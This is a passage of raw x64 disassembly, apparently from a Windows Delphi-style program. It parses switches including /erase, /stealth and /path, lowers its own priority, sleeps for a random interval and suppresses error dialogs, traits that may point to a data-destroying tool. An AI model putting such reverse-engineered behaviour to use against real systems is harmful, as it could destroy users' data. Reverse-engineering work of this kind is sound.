    00450f28 48 8d 04 05 00 00 00 00 H.......
    00450f30
    00450f30fn_450f30:
    00450f30push rbp
    00450f31sub rsp, 32
    00450f35mov rbp, rsp
    00450f38lea rcx, [rdx+40]
    00450f3cmov rdx, [rip-0x22123]
    00450f43call fn_410600
    00450f48lea rsp, [rbp+32]
    00450f4cpop rbp
    00450f4dret
    00450f30
    00450f4e
    00450f4e // align 0x10
    00450f50
    00450f50fn_450f50:
    00450f50push rbp
    00450f51sub rsp, 48
    00450f55mov rbp, rsp
    00450f58mov [rbp+40], 0
    00450f60nop
    00450f61mov rax, [rip+0x13070]
    00450f68mov [rax+768], 0
    00450f6fmov [rip+0x1f833], 1
    00450f79jmp 0x450fd8
    00450f7b
    00450f7bloc_450f7b:
    00450f7blea rcx, [rbp+40]
    00450f7fmov edx, [rip+0x1f827]
    00450f85call fn_405df0
    00450f8amov rcx, [rbp+40]
    00450f8elea rdx, [rip+143]
    00450f95call fn_40dc90
    00450f9atest eax, eax
    00450f9cjne 0x450fd1
    00450f9emov rax, [rip+0x13033]
    00450fa5mov [rax+768], 1
    00450facmov rax, [rip+0x13025]
    00450fb3lea rcx, [rax+760]
    00450fbamov edx, [rip+0x1f7ec]
    00450fc0add edx, 1
    00450fc3call fn_405df0
    00450fc8add [rip+0x1f7dd], 2
    00450fcfjmp 0x450fd8
    00450fd1
    00450fd1loc_450fd1:
    00450fd1add [rip+0x1f7d4], 1
    00450fd8
    00450fd8loc_450fd8:
    00450fd8call fn_405d70
    00450fddcmp [rip+0x1f7c9], eax
    00450fe3jle 0x450f7b
    00450fe5nop
    00450fe6lea rcx, [rbp+40]
    00450feacall fn_40bcf0
    00450feflea rsp, [rbp+48]
    00450ff3pop rbp
    00450ff4ret
    00450f50
    00450ff5
    00450ff5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
    00451000
    00451000fn_451000:
    00451000push rbp
    00451001sub rsp, 32
    00451005mov rbp, rsp
    00451008lea rcx, [rdx+40]
    0045100ccall fn_40bcf0
    00451011lea rsp, [rbp+32]
    00451015pop rbp
    00451016ret
    00451000
    00451017
    00451017 00 b0 04 02 00 ff ff ff ff .........
    00451020 06 00 00 00 2f 00 6c 00 6f 00 67 00 5f 00 66 00 ..../.l.o.g._.f.
    00451030 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
    00451040
    00451040fn_451040:
    00451040push rbp
    00451041push rdi
    00451042push rsi
    00451043push rbx
    00451044sub rsp, 88
    00451048mov rbp, rsp
    0045104bmov [rbp+48], 0
    00451053mov [rbp+56], 0
    0045105bmov [rbp+64], 0
    00451063mov [rbp+72], 0
    0045106bnop
    0045106cmov al, 1
    0045106emov [rbp+47], al
    00451071mov rax, [rip+0x12f48]
    00451078mov [rax+308], 0
    0045107fmov rax, [rip+0x12f3a]
    00451086mov [rax+309], 0
    0045108dxor ebx, ebx
    0045108fxor esi, esi
    00451092xor edi, edi
    00451095mov [rip+0x1f70d], 1
    0045109fjmp 0x45113f
    004510a4
    004510a4loc_4510a4:
    004510a4lea rcx, [rbp+72]
    004510a8mov edx, [rip+0x1f6fe]
    004510aecall fn_405df0
    004510b3mov rcx, [rbp+72]
    004510b7lea rdx, [rip+378]
    004510becall fn_40dc90
    004510c3test eax, eax
    004510c5jne 0x4510c9
    004510c7mov bl, 1
    004510c9
    004510c9loc_4510c9:
    004510c9lea rcx, [rbp+64]
    004510cdmov edx, [rip+0x1f6d9]
    004510d3call fn_405df0
    004510d8mov rcx, [rbp+64]
    004510dclea rdx, [rip+369]
    004510e3call fn_40dc90
    004510e8test eax, eax
    004510eaje 0x45110f
    004510eclea rcx, [rbp+56]
    004510f0mov edx, [rip+0x1f6b6]
    004510f6call fn_405df0
    004510fbmov rcx, [rbp+56]
    004510fflea rdx, [rip+354]
    00451106call fn_40dc90
    0045110btest eax, eax
    0045110djne 0x451112
    0045110f
    0045110floc_45110f:
    0045110fmov sil, 1
    00451112
    00451112loc_451112:
    00451112lea rcx, [rbp+48]
    00451116mov edx, [rip+0x1f690]
    0045111ccall fn_405df0
    00451121mov rcx, [rbp+48]
    00451125lea rdx, [rip+340]
    0045112ccall fn_40dc90
    00451131test eax, eax
    00451133jne 0x451138
    00451135mov dil, 1
    00451138
    00451138loc_451138:
    00451138add [rip+0x1f66d], 1
    0045113f
    0045113floc_45113f:
    0045113fcall fn_405d70
    00451144cmp [rip+0x1f662], eax
    0045114ajle 0x4510a4
    00451150test bl, bl
    00451152je 0x4511e8
    00451158mov rax, [rip+0x12e61]
    0045115fmov [rax+308], 1
    00451166mov rax, [rip+0x12e53]
    0045116dmov [rax+309], 1
    00451174call AllocConsole
    00451179test sil, sil
    0045117cjne 0x4511b0
    0045117exor eax, eax
    00451180mov [rbp+47], al
    00451183lea rcx, [rip+274]
    0045118axor edx, edx
    0045118ccall fn_439060
    00451191lea rcx, [rip+420]
    00451198xor edx, edx
    0045119acall fn_439060
    0045119fmov rcx, [rip+0x12f0a]
    004511a6call fn_4078c0
    004511abcall fn_405a40
    004511b0
    004511b0loc_4511b0:
    004511b0test dil, dil
    004511b3je 0x4511e7
    004511b5xor eax, eax
    004511b7mov [rbp+47], al
    004511balea rcx, [rip+447]
    004511c1xor edx, edx
    004511c3call fn_439060
    004511c8lea rcx, [rip+365]
    004511cfxor edx, edx
    004511d1call fn_439060
    004511d6mov rcx, [rip+0x12ed3]
    004511ddcall fn_4078c0
    004511e2call fn_405a40
    004511e7
    004511e7loc_4511e7:
    004511e7nop
    004511e8
    004511e8loc_4511e8:
    004511e8lea rcx, [rbp+48]
    004511ecmov edx, 4
    004511f1call fn_40bdd0
    004511f6movzx rax, [rbp+47]
    004511fblea rsp, [rbp+88]
    004511ffpop rbx
    00451200pop rsi
    00451201pop rdi
    00451202pop rbp
    00451203ret
    00451040
    00451204
    00451204 48 8d 40 00 48 8d 04 05 00 00 00 00 H.@.H.......
    00451210
    00451210fn_451210:
    00451210push rbp
    00451211sub rsp, 32
    00451215mov rbp, rsp
    00451218lea rcx, [rdx+48]
    0045121cmov edx, 4
    00451221call fn_40bdd0
    00451226lea rsp, [rbp+32]
    0045122apop rbp
    0045122bret
    00451210
    0045122c
    0045122c b0 04 02 00 ....
    00451230 ff ff ff ff 06 00 00 00 2f 00 64 00 65 00 62 00 ......../.d.e.b.
    00451240 75 00 67 00 00 00 00 00 b0 04 02 00 ff ff ff ff u.g.............
    00451250 02 00 00 00 2f 00 70 00 00 00 00 00 b0 04 02 00 ..../.p.........
    00451260 ff ff ff ff 05 00 00 00 2f 00 70 00 61 00 74 00 ......../.p.a.t.
    00451270 68 00 00 00 b0 04 02 00 ff ff ff ff 06 00 00 00 h...............
    00451280 2f 00 65 00 72 00 61 00 73 00 65 00 00 00 00 00 /.e.r.a.s.e.....
    00451290 b0 04 02 00 ff ff ff ff 49 00 00 00 45 00 52 00 ........I...E.R.
    004512a0 52 00 4f 00 52 00 3a 00 20 00 2f 00 64 00 65 00 R.O.R.:. ./.d.e.
    004512b0 62 00 75 00 67 00 20 00 6f 00 70 00 74 00 69 00 b.u.g. .o.p.t.i.
    004512c0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
    004512d0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
    004512e0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
    004512f0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
    00451300 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
    00451310 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
    00451320 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
    00451330 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
    00451340 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
    00451350 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
    00451360 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
    00451370 00 00 00 00 b0 04 02 00 ff ff ff ff 4a 00 00 00 ............J...
    00451380 45 00 52 00 52 00 4f 00 52 00 3a 00 20 00 2f 00 E.R.R.O.R.:. ./.
    00451390 64 00 65 00 62 00 75 00 67 00 20 00 6f 00 70 00 d.e.b.u.g. .o.p.
    004513a0 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6e 00 t.i.o.n. .c.a.n.
    004513b0 27 00 74 00 20 00 62 00 65 00 20 00 75 00 73 00 '.t. .b.e. .u.s.
    004513c0 65 00 64 00 20 00 77 00 69 00 74 00 68 00 20 00 e.d. .w.i.t.h. .
    004513d0 2f 00 65 00 72 00 61 00 73 00 65 00 20 00 6f 00 /.e.r.a.s.e. .o.
    004513e0 70 00 74 00 69 00 6f 00 6e 00 2e 00 20 00 50 00 p.t.i.o.n... .P.
    004513f0 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 74 00 r.o.c.e.s.s. .t.
    00451400 65 00 72 00 6d 00 69 00 6e 00 61 00 74 00 65 00 e.r.m.i.n.a.t.e.
    00451410 64 00 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc d...............
    00451420
    00451420fn_451420:
    00451420sub rsp, 40
    00451424mov rax, [rip+0x12b95]
    0045142bcmp [rax+308], 0
    00451432jne 0x451447
    00451434mov rax, [rip+0x12b85]
    0045143bmov [rax+308], 1
    00451442call AllocConsole
    00451447
    00451447loc_451447:
    00451447lea rcx, [rip+58]
    0045144exor edx, edx
    00451450call fn_439060
    00451455lea rcx, [rip+208]
    0045145cxor edx, edx
    0045145ecall fn_439060
    00451463mov rcx, [rip+0x12c46]
    0045146acall fn_4078c0
    0045146fcall fn_405a40
    00451474add rsp, 40
    00451478ret
    00451420
    00451479
    00451479 00 00 00 b0 04 02 00 .......
    00451480 ff ff ff ff 4b 00 00 00 45 00 52 00 52 00 4f 00 ....K...E.R.R.O.
    00451490 52 00 3a 00 20 00 2f 00 73 00 74 00 65 00 61 00 R.:. ./.s.t.e.a.
    004514a0 6c 00 74 00 68 00 20 00 6f 00 70 00 74 00 69 00 l.t.h. .o.p.t.i.
    004514b0 6f 00 6e 00 20 00 63 00 61 00 6e 00 27 00 74 00 o.n. .c.a.n.'.t.
    004514c0 20 00 62 00 65 00 20 00 75 00 73 00 65 00 64 00 .b.e. .u.s.e.d.
    004514d0 20 00 77 00 69 00 74 00 68 00 6f 00 75 00 74 00 .w.i.t.h.o.u.t.
    004514e0 20 00 2f 00 70 00 20 00 6f 00 70 00 74 00 69 00 ./.p. .o.p.t.i.
    004514f0 6f 00 6e 00 2e 00 20 00 50 00 72 00 6f 00 63 00 o.n... .P.r.o.c.
    00451500 65 00 73 00 73 00 20 00 74 00 65 00 72 00 6d 00 e.s.s. .t.e.r.m.
    00451510 69 00 6e 00 61 00 74 00 65 00 64 00 2e 00 00 00 i.n.a.t.e.d.....
    00451520 b0 04 02 00 ff ff ff ff 1a 00 00 00 50 00 72 00 ............P.r.
    00451530 65 00 73 00 73 00 20 00 65 00 6e 00 74 00 65 00 e.s.s. .e.n.t.e.
    00451540 72 00 20 00 74 00 6f 00 20 00 63 00 6f 00 6e 00 r. .t.o. .c.o.n.
    00451550 74 00 69 00 6e 00 75 00 65 00 2e 00 2e 00 2e 00 t.i.n.u.e.......
    00451560 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
    00451570
    00451570Unit60.finalization:
    00451570ret
    00451570
    00451571
    00451571 // align 0x10
    00451580
    00451580Project1:
    00451580push rbp
    00451581sub rsp, 592
    00451588mov rbp, rsp
    0045158bmov [rbp+80], 0
    00451593mov [rbp+72], 0
    0045159bmov [rbp+96], 0
    004515a3mov [rbp+88], 0
    004515abmov [rbp+112], 0
    004515b3mov [rbp+104], 0
    004515bbmov [rbp+128], 0
    004515c6mov [rbp+120], 0
    004515cemov [rbp+144], 0
    004515d9mov [rbp+136], 0
    004515e4mov [rbp+152], 0
    004515efmov [rbp+168], 0
    004515famov [rbp+160], 0
    00451605mov [rbp+176], 0
    00451610mov [rbp+184], 0
    0045161bmov [rbp+192], 0
    00451626mov [rbp+200], 0
    00451631mov [rbp+208], 0
    0045163cmov [rbp+224], 0
    00451647mov [rbp+216], 0
    00451652mov [rbp+232], 0
    0045165dmov [rbp+248], 0
    00451668mov [rbp+240], 0
    00451673mov [rbp+256], 0
    0045167emov [rbp+264], 0
    00451689mov [rbp+272], 0
    00451694mov [rbp+280], 0
    0045169fmov [rbp+288], 0
    004516aamov [rbp+296], 0
    004516b5mov [rbp+304], 0
    004516c0mov [rbp+312], 0
    004516cbmov [rbp+320], 0
    004516d6mov [rbp+328], 0
    004516e1mov [rbp+336], 0
    004516ecmov [rbp+352], 0
    004516f7mov [rbp+344], 0
    00451702mov [rbp+360], 0
    0045170dmov [rbp+368], 0
    00451718mov [rbp+376], 0
    00451723mov [rbp+384], 0
    0045172emov [rbp+392], 0
    00451739mov [rbp+408], 0
    00451744mov [rbp+400], 0
    0045174fmov [rbp+424], 0
    0045175amov [rbp+416], 0
    00451765mov [rbp+432], 0
    00451770mov [rbp+440], 0
    0045177bmov [rbp+448], 0
    00451786mov [rbp+456], 0
    00451791mov [rbp+464], 0
    0045179cmov [rbp+472], 0
    004517a7mov [rbp+480], 0
    004517b2mov [rbp+488], 0
    004517bdmov [rbp+496], 0
    004517c8mov [rbp+504], 0
    004517d3mov [rbp+512], 0
    004517demov [rbp+520], 0
    004517e9mov [rbp+528], 0
    004517f4mov [rbp+536], 0
    004517ffmov [rbp+544], 0
    0045180amov [rbp+552], 0
    00451815mov [rbp+584], 0
    00451820mov [rbp+576], 0
    0045182bmov [rbp+568], 0
    00451836mov [rbp+560], 0
    00451841nop
    00451842lea rcx, [rip+9455]
    00451849call fn_415220
    0045184enop
    0045184fcall fn_4343c0
    00451854call fn_450f50
    00451859call fn_451040
    0045185etest al, al
    00451860je 0x4530dc
    00451866mov rax, [rip+0x12753]
    0045186dcmp [rax+308], 0
    00451874je 0x451893
    00451876mov rax, [rip+0x1275b]
    0045187dcmp [rax+768], 0
    00451884je 0x451893
    00451886call fn_438c40
    0045188btest al, al
    0045188dje 0x4530dc
    00451893
    00451893loc_451893:
    00451893mov rax, [rip+0x12726]
    0045189acmp [rax+308], 0
    004518a1je 0x4518c6
    004518a3lea rcx, [rip+6706]
    004518aamov dl, 1
    004518accall fn_439060
    004518b1xor ecx, ecx
    004518b3call fn_4392a0
    004518b8lea rcx, [rip+6737]
    004518bfmov dl, 1
    004518c1call fn_439060
    004518c6
    004518c6loc_4518c6:
    004518c6call GetCurrentProcessId
    004518cbmov ecx, eax
    004518cdmov edx, 128
    004518d2call SetPriorityClass
    004518d7call fn_450ed0
    004518dcmov ecx, 10
    004518e1call fn_405e80
    004518e6mov ecx, eax
    004518e8imul ecx, ecx, 1000
    004518eeadd ecx, 1000
    004518f4call Sleep
    004518f9call fn_425d00
    004518femov rax, [rip+0x126bb]
    00451905movsd_xmm [rax+744], x0
    0045190dmov ecx, 1
    00451912call SetErrorMode
    00451917mov rax, [rip+0x126a2]
    0045191ecmp [rax+308], 0
    00451925je 0x45193c
    00451927lea rcx, [rip+6658]
    0045192emov dl, 1
    00451930call fn_439060
    00451935xor ecx, ecx
    00451937call fn_4392a0
    0045193c
    0045193cloc_45193c:
    0045193ccall fn_4343e0
    00451941mov rax, [rip+0x12678]
    00451948cmp [rax+308], 0
    0045194fje 0x4519ff
    00451955lea rcx, [rbp+576]
    0045195cmov rax, [rip+0x1265d]
    00451963movzx rdx, [rax+8]
    00451968call fn_4225b0
    0045196dlea rcx, [rbp+568]
    00451974mov rax, [rip+0x12645]
    0045197bmovzx rdx, [rax+9]
    00451980call fn_4225b0
    00451985lea rcx, [rbp+560]
    0045198cmov rax, [rip+0x1262d]
    00451993mov edx, [rax+12]
    00451996call fn_4225f0
    0045199blea rcx, [rbp+584]
    004519a2mov edx, 6
    004519a7lea r8, [rip+6574]
    004519aemov r9, [rbp+576]
    004519b5lea rax, [rip+6592]
    004519bcmov [rsp+32], rax
    004519c1mov rax, [rbp+568]
    004519c8mov [rsp+40], rax
    004519cdlea rax, [rip+6568]
    004519d4mov [rsp+48], rax
    004519d9mov rax, [rbp+560]
    004519e0mov [rsp+56], rax
    004519e5call fn_40dbb0
    004519eamov rcx, [rbp+584]
    004519f1mov dl, 1
    004519f3call fn_439060
    004519f8xor ecx, ecx
    004519facall fn_4392a0
    004519ff
    004519ffloc_4519ff:
    004519ffmov rax, [rip+0x125ba]
    00451a06cmp [rax+308], 0
    00451a0dje 0x451a24
    00451a0flea rcx, [rip+6518]
    00451a16mov dl, 1
    00451a18call fn_439060
    00451a1dxor ecx, ecx
    00451a1fcall fn_4392a0
    00451a24
    00451a24loc_451a24:
    00451a24call fn_437fd0
    00451a29test al, al
    00451a2bjne 0x451a5b
    00451a2dmov rax, [rip+0x1258c]
    00451a34cmp [rax+308], 0
    00451a3bje 0x4530dc
    00451a41lea rcx, [rip+6508]
    00451a48mov dl, 1
    00451a4acall fn_439060
    00451a4fxor ecx, ecx
    00451a51call fn_4392a0
    00451a56jmp 0x4530dc
    00451a5b
    00451a5bloc_451a5b:
    00451a5bmov rax, [rip+0x1255e]
    00451a62cmp [rax+308], 0
    00451a69je 0x451a79
    00451a6blea rcx, [rip+6570]
    00451a72mov dl, 1
    00451a74call fn_439060
    00451a79
    00451a79loc_451a79:
    00451a79call fn_405d70
    00451a7ecmp eax, 1
    00451a81jne 0x451ac8
    00451a83lea rcx, [rbp+552]
    00451a8amov edx, 1
    00451a8fcall fn_405df0
    00451a94mov rcx, [rbp+552]
    00451a9bcall fn_4503e0
    00451aa0test al, al
    00451aa2jne 0x451ac8
    00451aa4lea rcx, [rbp+544]
    00451aabmov edx, 1
    00451ab0call fn_405df0
    00451ab5mov rcx, [rip+0x123ec]
    00451abcmov rdx, [rbp+544]
    00451ac3call fn_40d850
    00451ac8
    00451ac8loc_451ac8:
    00451ac8mov [rip+0x1ecda], 1
    00451ad2jmp 0x4524d7
    00451ad7
    00451ad7loc_451ad7:
    00451ad7lea rcx, [rbp+536]
    00451ademov edx, [rip+0x1ecc8]
    00451ae4call fn_405df0
    00451ae9mov rcx, [rbp+536]
    00451af0lea rdx, [rip+6477]
    00451af7call fn_40dc90
    00451afctest eax, eax
    00451afejne 0x451b28
    00451b00mov rax, [rip+0x124b9]
    00451b07mov [rax+321], 1
    00451b0emov rax, [rip+0x124ab]
    00451b15mov [rax+313], 0
    00451b1cadd [rip+0x1ec89], 1
    00451b23jmp 0x4524d7
    00451b28
    00451b28loc_451b28:
    00451b28lea rcx, [rbp+528]
    00451b2fmov edx, [rip+0x1ec77]
    00451b35call fn_405df0
    00451b3amov rcx, [rbp+528]
    00451b41lea rdx, [rip+6428]
    00451b48call fn_40dc90
    00451b4dtest eax, eax
    00451b4fjne 0x451bc2
    00451b51add [rip+0x1ec54], 1
    00451b58jmp 0x451baf
    00451b5a
    00451b5aloc_451b5a:
    00451b5alea rcx, [rbp+520]
    00451b61mov edx, [rip+0x1ec45]
    00451b67call fn_405df0
    00451b6cmov rcx, [rbp+520]
    00451b73call fn_4503e0
    00451b78test al, al
    00451b7ajne 0x451bbc
    00451b7clea rcx, [rbp+512]
    00451b83mov edx, [rip+0x1ec23]
    00451b89call fn_405df0
    00451b8emov rax, [rip+0x1242b]
    00451b95mov rcx, [rax+776]
    00451b9cmov rdx, [rbp+512]
    00451ba3call TSimpleStringList.Add
    00451ba8add [rip+0x1ebfd], 1
    00451baf
    00451bafloc_451baf:
    00451bafcall fn_405d70
    00451bb4cmp [rip+0x1ebf2], eax
    00451bbajle 0x451b5a
    00451bbc
    00451bbcloc_451bbc:
    00451bbcnop
    00451bbdjmp 0x4524d7
    00451bc2
    00451bc2loc_451bc2:
    00451bc2lea rcx, [rbp+504]
    00451bc9mov edx, [rip+0x1ebdd]
    00451bcfcall fn_405df0
    00451bd4mov rcx, [rbp+504]
    00451bdblea rdx, [rip+6298]
    00451be2call fn_40dc90
    00451be7test eax, eax
    00451be9jne 0x451c5c
    00451bebadd [rip+0x1ebba], 1
    00451bf2jmp 0x451c49
    00451bf4
    00451bf4loc_451bf4:
    00451bf4lea rcx, [rbp+496]
    00451bfbmov edx, [rip+0x1ebab]
    00451c01call fn_405df0
    00451c06mov rcx, [rbp+496]
    00451c0dcall fn_4503e0
    00451c12test al, al
    00451c14jne 0x451c56
    00451c16lea rcx, [rbp+488]
    00451c1dmov edx, [rip+0x1eb89]
    00451c23call fn_405df0
    00451c28mov rax, [rip+0x12391]
    00451c2fmov rcx, [rax+768]
    00451c36mov rdx, [rbp+488]
    00451c3dcall TSimpleStringList.Add
    00451c42add [rip+0x1eb63], 1
    00451c49
    00451c49loc_451c49:
    00451c49call fn_405d70
    00451c4ecmp [rip+0x1eb58], eax
    00451c54jle 0x451bf4
    00451c56
    00451c56loc_451c56:
    00451c56nop
    00451c57jmp 0x4524d7
    00451c5c
    00451c5cloc_451c5c:
    00451c5clea rcx, [rbp+480]
    00451c63mov edx, [rip+0x1eb43]
    00451c69call fn_405df0
    00451c6emov rcx, [rbp+480]
    00451c75lea rdx, [rip+6176]
    00451c7ccall fn_40dc90
    00451c81test eax, eax
    00451c83jne 0x451cf3
    00451c85add [rip+0x1eb20], 1
    00451c8cjmp 0x451ce0
    00451c8e
    00451c8eloc_451c8e:
    00451c8elea rcx, [rbp+472]
    00451c95mov edx, [rip+0x1eb11]
    00451c9bcall fn_405df0
    00451ca0mov rcx, [rbp+472]
    00451ca7call fn_4503e0
    00451cactest al, al
    00451caejne 0x451ced
    00451cb0lea rcx, [rbp+464]
    00451cb7mov edx, [rip+0x1eaef]
    00451cbdcall fn_405df0
    00451cc2mov rax, [rip+0x122f7]
    00451cc9mov rcx, [rax+64]
    00451ccdmov rdx, [rbp+464]
    00451cd4call TSimpleStringList.Add
    00451cd9add [rip+0x1eacc], 1
    00451ce0
    00451ce0loc_451ce0:
    00451ce0call fn_405d70
    00451ce5cmp [rip+0x1eac1], eax
    00451cebjle 0x451c8e
    00451ced
    00451cedloc_451ced:
    00451cednop
    00451ceejmp 0x4524d7
    00451cf3
    00451cf3loc_451cf3:
    00451cf3lea rcx, [rbp+456]
    00451cfamov edx, [rip+0x1eaac]
    00451d00call fn_405df0
    00451d05mov rcx, [rbp+456]
    00451d0clea rdx, [rip+6045]
    00451d13call fn_40dc90
    00451d18test eax, eax
    00451d1ajne 0x451d38
    00451d1cmov rax, [rip+0x1229d]
    00451d23mov rcx, [rax+64]
    00451d27call TSimpleStringList.Clear
    00451d2cadd [rip+0x1ea79], 1
    00451d33jmp 0x4524d7
    00451d38
    00451d38loc_451d38:
    00451d38lea rcx, [rbp+448]
    00451d3fmov edx, [rip+0x1ea67]
    00451d45call fn_405df0
    00451d4amov rcx, [rbp+448]
    00451d51lea rdx, [rip+6020]
    00451d58call fn_40dc90
    00451d5dtest eax, eax
    00451d5fjne 0x451d7b
    00451d61mov rax, [rip+0x12258]
    00451d68mov [rax+302], 1
    00451d6fadd [rip+0x1ea36], 1
    00451d76jmp 0x4524d7
    00451d7b
    00451d7bloc_451d7b:
    00451d7blea rcx, [rbp+440]
    00451d82mov edx, [rip+0x1ea24]
    00451d88call fn_405df0
    00451d8dmov rcx, [rbp+440]
    00451d94lea rdx, [rip+5981]
    00451d9bcall fn_40dc90
    00451da0test eax, eax
    00451da2jne 0x451dbe
    00451da4mov rax, [rip+0x12215]
    00451dabmov [rax+313], 0
    00451db2add [rip+0x1e9f3], 1
    00451db9jmp 0x4524d7
    00451dbe
    00451dbeloc_451dbe:
    00451dbelea rcx, [rbp+432]
    00451dc5mov edx, [rip+0x1e9e1]
    00451dcbcall fn_405df0
    00451dd0mov rcx, [rbp+432]
    00451dd7lea rdx, [rip+5950]
    00451ddecall fn_40dc90
    00451de3test eax, eax
    00451de5jne 0x451ebe
    00451debmov rax, [rip+0x121ce]
    00451df2mov [rax+305], 0
    00451df9mov rax, [rip+0x121c0]
    00451e00mov [rax+306], 0
    00451e07lea rcx, [rbp+424]
    00451e0emov edx, [rip+0x1e998]
    00451e14add edx, 1
    00451e17call fn_405df0
    00451e1clea rcx, [rbp+416]
    00451e23mov rdx, [rbp+424]
    00451e2axor r8, r8
    00451e2dcall fn_40cff0
    00451e32mov rcx, [rbp+416]
    00451e39call fn_4307b0
    00451e3etest al, al
    00451e40je 0x451e94
    00451e42lea rcx, [rbp+408]
    00451e49mov edx, [rip+0x1e95d]
    00451e4fadd edx, 1
    00451e52call fn_405df0
    00451e57lea rcx, [rbp+400]
    00451e5emov rdx, [rbp+408]
    00451e65call fn_40d850
    00451e6amov rcx, [rbp+400]
    00451e71mov edx, 10
    00451e76mov r8l, 1
    00451e7cmov r9l, 100
    00451e82call fn_450df0
    00451e87mov rcx, [rip+0x12132]
    00451e8emov [rcx+314], al
    00451e94
    00451e94loc_451e94:
    00451e94mov rax, [rip+0x12125]
    00451e9bcmp [rax+314], 100
    00451ea2jne 0x451eb2
    00451ea4mov rax, [rip+0x12115]
    00451eabmov [rax+305], 1
    00451eb2
    00451eb2loc_451eb2:
    00451eb2add [rip+0x1e8f3], 2
    00451eb9jmp 0x4524d7
    00451ebe
    00451ebeloc_451ebe:
    00451ebelea rcx, [rbp+392]
    00451ec5mov edx, [rip+0x1e8e1]
    00451ecbcall fn_405df0
    00451ed0mov rcx, [rbp+392]
    00451ed7lea rdx, [rip+5722]
    00451edecall fn_40dc90
    00451ee3test eax, eax
    00451ee5jne 0x451f7d
    00451eebmov rax, [rip+0x120ce]
    00451ef2mov [rax+311], 1
    00451ef9mov rax, [rip+0x120c0]
    00451f00mov rcx, [rax+760]
    00451f07call TSimpleStringList.Clear
    00451f0cadd [rip+0x1e899], 1
    00451f13jmp 0x451f6a
    00451f15
    00451f15loc_451f15:
    00451f15lea rcx, [rbp+384]
    00451f1cmov edx, [rip+0x1e88a]
    00451f22call fn_405df0
    00451f27mov rcx, [rbp+384]
    00451f2ecall fn_4503e0
    00451f33test al, al
    00451f35jne 0x451f77
    00451f37lea rcx, [rbp+376]
    00451f3emov edx, [rip+0x1e868]
    00451f44call fn_405df0
    00451f49mov rax, [rip+0x12070]
    00451f50mov rcx, [rax+760]
    00451f57mov rdx, [rbp+376]
    00451f5ecall TSimpleStringList.Add
    00451f63add [rip+0x1e842], 1
    00451f6a
    00451f6aloc_451f6a:
    00451f6acall fn_405d70
    00451f6fcmp [rip+0x1e837], eax
    00451f75jle 0x451f15
    00451f77
    00451f77loc_451f77:
    00451f77nop
    00451f78jmp 0x4524d7
    00451f7d
    00451f7dloc_451f7d:
    00451f7dlea rcx, [rbp+368]
    00451f84mov edx, [rip+0x1e822]
    00451f8acall fn_405df0
    00451f8fmov rcx, [rbp+368]
    00451f96lea rdx, [rip+5555]
    00451f9dcall fn_40dc90
    00451fa2test eax, eax
    00451fa4jne 0x451fc0
    00451fa6mov rax, [rip+0x12013]
    00451fadmov [rax+312], 0
    00451fb4add [rip+0x1e7f1], 1
    00451fbbjmp 0x4524d7
    00451fc0
    00451fc0loc_451fc0:
    00451fc0lea rcx, [rbp+360]
    00451fc7mov edx, [rip+0x1e7df]
    00451fcdcall fn_405df0
    00451fd2mov rcx, [rbp+360]
    00451fd9lea rdx, [rip+5532]
    00451fe0call fn_40dc90
    00451fe5test eax, eax
    00451fe7jne 0x45205e
    00451fe9lea rcx, [rbp+352]
    00451ff0mov edx, [rip+0x1e7b6]
    00451ff6add edx, 1
    00451ff9call fn_405df0
    00451ffelea rcx, [rbp+344]
    00452005mov rdx, [rbp+352]
    0045200cxor r8, r8
    0045200fcall fn_40cff0
    00452014mov rcx, [rbp+344]
    0045201bcall fn_4307b0
    00452020test al, al
    00452022je 0x452052
    00452024lea rcx, [rbp+336]
    0045202bmov edx, [rip+0x1e77b]
    00452031add edx, 1
    00452034call fn_405df0
    00452039mov rcx, [rbp+336]
    00452040call fn_4228a0
    00452045mov rcx, [rip+0x11f74]
    0045204cmov [rcx+144], eax
    00452052
    00452052loc_452052:
    00452052add [rip+0x1e753], 2
    00452059jmp 0x4524d7
    0045205e
    0045205eloc_45205e:
    0045205elea rcx, [rbp+328]
    00452065mov edx, [rip+0x1e741]
    0045206bcall fn_405df0
    00452070mov rcx, [rbp+328]
    00452077lea rdx, [rip+5402]
    0045207ecall fn_40dc90
    00452083test eax, eax
    00452085jne 0x452093
    00452087add [rip+0x1e71e], 2
    0045208ejmp 0x4524d7
    00452093
    00452093loc_452093:
    00452093lea rcx, [rbp+320]
    0045209amov edx, [rip+0x1e70c]
    004520a0call fn_405df0
    004520a5mov rcx, [rbp+320]
    004520aclea rdx, [rip+5377]
    004520b3call fn_40dc90
    004520b8test eax, eax
    004520bajne 0x4520c8
    004520bcadd [rip+0x1e6e9], 1
    004520c3jmp 0x4524d7
    004520c8
    004520c8loc_4520c8:
    004520c8lea rcx, [rbp+312]
    004520cfmov edx, [rip+0x1e6d7]
    004520d5call fn_405df0
    004520damov rcx, [rbp+312]
    004520e1lea rdx, [rip+5352]
    004520e8call fn_40dc90
    004520edtest eax, eax
    004520efjne 0x45210b
    004520f1mov rax, [rip+0x11ec8]
    004520f8mov [rax+310], 0
    004520ffadd [rip+0x1e6a6], 1
    00452106jmp 0x4524d7
    0045210b
    0045210bloc_45210b:
    0045210blea rcx, [rbp+304]
    00452112mov edx, [rip+0x1e694]
    00452118call fn_405df0
    0045211dmov rcx, [rbp+304]
    00452124lea rdx, [rip+5325]
